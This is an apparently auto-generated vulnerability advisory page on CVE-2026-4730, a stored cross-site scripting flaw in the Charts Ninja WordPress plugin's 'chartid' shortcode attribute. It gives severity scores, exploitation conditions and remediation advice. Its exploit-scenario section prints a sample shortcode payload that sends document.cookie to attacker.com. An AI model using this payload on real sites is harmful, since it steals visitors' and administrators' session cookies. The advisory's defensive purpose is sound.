Skip to main content

Charts Ninja WordPress Plugin CVE-2026-4730

| EUVDEUVD-2026-27183 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-05 Wordfence GHSA-q9gg-cpq5-g6mh
6.4
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as contributor
  2. Delivery
    Insert malicious Charts Ninja shortcode
  3. Exploit
    Payload stored in database
  4. Execution
    Visitor loads page
  5. Persist
    Script executes in visitor browser
  6. Impact
    Compromise or data exfiltration

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated WordPress user account with Contributor role or above to access the post/page editor and insert or modify a Charts Ninja shortcode with a malicious 'chartid' attribute. The vulnerability does NOT require any non-default configuration or feature enablement - the shortcode handler processes untrusted input by default. The attack is limited to authenticated users (cannot be exploited by anonymous visitors), and the attacker must have the ability to publish or edit content. Sites using role-based access control to restrict contributor access to specific, trusted users significantly reduce exploitation likelihood. Additionally, any Content Security Policy (CSP) headers properly configured on the site could mitigate stored XSS impact even if the payload is injected.

Impact

CVSS 6.4 (Medium) with Network vector and Low complexity reflects realistic exploitation difficulty: the attack requires authentication (Contributor role or higher) but can affect other users across the site (Scope: Changed). EPSS and KEV status are not provided in available intelligence, so exploitation frequency cannot be assessed independently. The authentication barrier (PR:L) significantly limits real-world risk compared to unauthenticated XSS, as it requires either a compromised contributor account or an insider threat. However, the Stored nature and Scope:Changed rating indicate cross-site impact - a malicious contributor can affect all site visitors. The primary risk vector is compromised or malicious contributor accounts, which is lower-probability than unauthenticated attacks but high-consequence if realized. Defense-in-depth WordPress access controls (contributor account isolation, activity monitoring) are more effective mitigations than patching alone.

Exploit ScenarioDerived

A malicious or compromised user with WordPress Contributor access logs into the site and creates or edits a post containing the Charts Ninja shortcode. The attacker injects malicious JavaScript into the 'chartid' attribute, for example: [charts-ninja chartid='<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">']. When any site visitor (including administrators) views the post, the injected script executes in their browser context, potentially stealing session cookies or redirecting them to a phishing site.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 05, 2026

Stored cross-site scripting in Charts Ninja: Create Beautiful Graphs & Charts plugin for WordPress (all versions up to 2.1.0) allows authenticated contributors and above to inject arbitrary JavaScript via the 'chartid' shortcode attribute due to insufficient input sanitization and output escaping. Injected scripts execute in the context of any user viewing the affected page, potentially compromising site visitors and administrative accounts. No public exploit code or active exploitation has been confirmed at this time.

RemediationAI

Update the Charts Ninja plugin to a version newer than 2.1.0 once available from the plugin developer or WordPress plugin repository. Until a patched version is released, site administrators should restrict Contributor-level access to only trusted users and monitor contributor accounts for suspicious activity. WordPress administrators can also disable the Charts Ninja plugin entirely if not actively in use, or restrict shortcode functionality to administrators only via custom code modifications. Consider implementing a Web Application Firewall (WAF) rule to detect and block script injection patterns in shortcode attributes as a compensating control, though this may generate false positives and requires ongoing maintenance.

Affected VersionsENISA

Charts Ninja: Create Beautiful Graphs & Charts and Easily Add Them to Your Website 0 ≤2.1.0

Affected Packages

euvd charts_ninja_create_beautiful_graphs_charts_and_easily_add_them_to_your_website no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Charts Ninja is a WordPress plugin that provides shortcode functionality to embed charts and graphs into posts and pages. The vulnerability exists in the shortcode handler that processes the 'chartid' parameter without proper sanitization before output. The underlying issue is a Stored XSS vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation) where user-supplied input from the shortcode attribute is stored in the WordPress database and later rendered on the page without HTML entity encoding or JavaScript context escaping. This allows attackers to embed malicious scripts that persist in the database and execute every time the page is served to any user, including administrators.

Know when Charts Ninja gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Charts Ninja: Create Beautiful Graphs & Charts and Easily Add Them to Your Website plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'chartid' shortcode attribute in all versions up to, and including, 2.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy